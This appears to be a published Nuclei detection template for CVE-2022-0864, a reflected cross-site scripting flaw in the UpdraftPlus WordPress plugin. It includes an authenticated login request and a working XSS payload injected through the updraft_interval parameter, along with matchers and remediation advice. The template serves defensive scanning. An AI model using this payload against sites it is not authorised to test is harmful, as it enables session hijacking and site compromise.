UpdraftPlus < 1.22.9 - Cross-Site Scripting

ID: CVE-2022-0864

Severity: medium

Author: DhiyaneshDk

Tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress

Description

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

YAML Source

id: CVE-2022-0864

info:
  name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
    - https://wordpress.org/plugins/updraftplus
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0864
    cwe-id: CWE-79
    epss-score: 0.00242
    epss-percentile: 0.63565
    cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: updraftplus
    product: updraftplus
    framework: wordpress
  tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>confirm('document_domain')</script>"
          - "Existing backups"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f10ddaf807772c0f3b0ae78689e8a23dd5d9d1789239f5d6761faa56f913a3da02204ae922eb5d1b16b2f20008dc0bccddb0015f2744ed71ec42d84e6df56b17c469:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0864.yaml"

View on Github